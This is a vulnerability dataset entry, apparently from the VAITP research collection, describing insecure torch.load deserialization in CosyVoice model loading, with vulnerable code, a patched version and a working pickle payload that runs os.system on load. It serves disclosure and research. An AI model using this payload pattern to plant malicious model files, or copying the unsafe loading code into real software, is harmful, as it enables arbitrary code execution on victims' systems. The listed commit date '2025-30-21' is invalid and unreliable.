CVE-2026-31252
CosyVoice insecure deserialization of model files leads to code execution.
- CVSS 5.7
- CWE-94
- Input Validation and Sanitization
- Local
CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its model loading component. The framework uses torch.load() to load model weight files (e.g., llm.pt, flow.pt, hift.pt) without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a malicious model directory containing specially crafted model files. When a victim starts the CosyVoice Web UI pointing to this directory, arbitrary code is executed on the victim's system during the model loading process.
- CWE
- CWE-94
- CVSS base score
- 5.7
- Published
- 2026-05-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- PyTorch
Solution
Set the `weights_only=True` parameter for all `torch.load()` calls that load model weight files to prevent arbitrary code execution. As of now, no official patched version has been released.
Vulnerable code sample
import torch
import os
def load_models_from_dir(model_dir: str):
"""
Represents the vulnerable model loading component in CosyVoice.
"""
print(f"[*] Loading models from directory: {model_dir}")
# Define paths to model files as described in the CVE
llm_path = os.path.join(model_dir, 'llm.pt')
flow_path = os.path.join(model_dir, 'flow.pt')
hift_path = os.path.join(model_dir, 'hift.pt')
# The following lines are vulnerable.
# torch.load() is called without 'weights_only=True', which allows
# the deserialization of arbitrary Python objects and can lead
# to remote code execution if a malicious .pt file is provided.
print(f"[*] Loading model: {llm_path}")
llm_model = torch.load(llm_path, map_location="cpu")
print(f"[*] Loading model: {flow_path}")
flow_model = torch.load(flow_path, map_location="cpu")
print(f"[*] Loading model: {hift_path}")
hift_model = torch.load(hift_path, map_location="cpu")
print("[+] Models loaded.")
return llm_model, flow_model, hift_modelPatched code sample
import torch
import os
def fixed_load_model_component(model_dir: str, component_filename: str):
"""
Safely loads a model component by fixing the insecure deserialization
vulnerability.
The original code used torch.load(path) without restrictions. The fix
is to add the `weights_only=True` parameter, which prevents the function
from unpickling arbitrary Python objects, thus mitigating the risk of
remote code execution.
"""
model_path = os.path.join(model_dir, component_filename)
if not os.path.exists(model_path):
raise FileNotFoundError(f"Model component not found at: {model_path}")
# The fix is the addition of the 'weights_only=True' parameter.
# This ensures that only model tensors are loaded, and no arbitrary
# code can be executed during the deserialization process.
state_dict = torch.load(model_path, weights_only=True)
return state_dictPayload
import torch
import os
# This class will execute a command when it is deserialized by pickle.
# torch.load() uses pickle internally, making it vulnerable.
class Exploit:
def __reduce__(self):
# The command to execute on the victim's system.
# Example: create a file '/tmp/pwned' to demonstrate RCE.
# A real-world attacker might use a reverse shell command.
cmd = "touch /tmp/pwned_by_cve_2026_31252"
return (os.system, (cmd,))
# Instantiate the malicious object.
malicious_object = Exploit()
# The CVE description mentions llm.pt, flow.pt, hift.pt.
# We will create a malicious version of one of these files.
# This file, when loaded by torch.load(), will trigger the exploit.
torch.save(malicious_object, "llm.pt")
print("Malicious model file 'llm.pt' has been created.")
print("Place this file in a model directory to be loaded by the vulnerable application.")
Cite this entry
@misc{vaitp:cve202631252,
title = {{CosyVoice insecure deserialization of model files leads to code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31252},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31252/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
